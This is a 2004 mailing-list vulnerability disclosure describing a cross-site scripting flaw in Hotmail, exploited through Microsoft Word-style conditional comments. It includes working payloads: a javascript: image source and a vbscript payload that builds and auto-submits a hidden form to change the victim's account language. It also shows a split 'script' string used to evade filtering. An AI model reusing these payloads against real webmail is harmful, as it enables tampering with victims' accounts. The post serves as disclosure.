Hotmail Cross Site Scripting Vulnerability Jul 15 2004 11:16PM
Paul (paul greyhats cjb net) (1 replies)

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Hotmail Cross Site Scripting Vulnerability


IEXPLORE.EXE file version 6.0.2800.1106

MSHTML.DLL file version 6.00.2800.1400

Hotmail Version [who knows]


I think it's been a while since we gave hotmail a little challenge don't you? Well here it is :). A brand spankin' new XSS vulnerability is available for use in hotmail and probably hotmail only.

Try this: Create a document in MS Word and put in a couple things like pictures and whatnot. Then save it as a webpage. Through all that clutter you'll see something like this:

<!--[if gte mso 9]> some stuff <![endif]-->

That's like some cool little checker for certain features in the user's browser.

What does that do for us? Well, Hotmail was just nice enough to be a little lenient on what goes in-between those 'if' tags. I suppose that's so MS Word can send stuff through email to Hotmail customers without it getting messed up.

Unfortunatly, they forgot one thing: Script! Let's put together some nice little 'if' tag. The 'if' tag above checks if ms office '9' is installed. Something cool about these 'if' tags is that you can use an exclamation mark ('!') to check is something is not something else. So I'll use <!--[if !gte mso 1337]>. I'm pretty sure they don't have an MS Office 1337 out yet ;). So let's start checking stuff. Apparently,

<!--[if !gte mso 1337]><script>alert('XXS haha!');</script><![endif]-->

doesnt work. But lets try this:

<!--[if !gte mso 1337]><img src="javascript:alert('XSS haha!')"><![endif]-->

Well whatta ya know. It works :).

As far as I know, you can use anything in-between the 'if' tags that you want except <script>. The example script below changes the victim's hotmail language to chinese upon viewing of the message from a browser.

<html><body><!--[if !gte mso 1337]>

<IMG src='vbscript:document.write("<html>" & vbcrlf & "<head>" & vbcrlf & "<form name=""language"" method=""POST"" action=""/cgi-bin/dolang"">" & vbcrlf & "<input type=""hidden"" name=""curmbox"" value=""F000000001"">" & vbcrlf & "<input type=""hidden"" name=""HrsTest"" value="""">" & vbcrlf & "<input type=""hidden"" name=""id"" value=""2"">" & vbcrlf & "<input type=""hidden"" name=""cb"" value=""_lang=EN&country=US"">" & vbcrlf & "<input type=""hidden"" name=""ref"" value="""">" & vbcrlf & "<input type=""hidden"" name=""Language"" value=""CN"" >" & vbcrlf & "<input type=""hidden"" name=""OK.x"" value="" OK "">" & vbcrlf & "I hope you can read chinese :)" & vbcrlf & "</form>" & vbcrlf & "<s"&"cript language=""vbs"&"cript"">" & vbcrlf & "document.language.submit()" & vbcrlf & "</sc"&"ript>")'>


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Re: Hotmail Cross Site Scripting Vulnerability Jul 17 2004 04:33PM
GreyMagic Security (security greymagic com)


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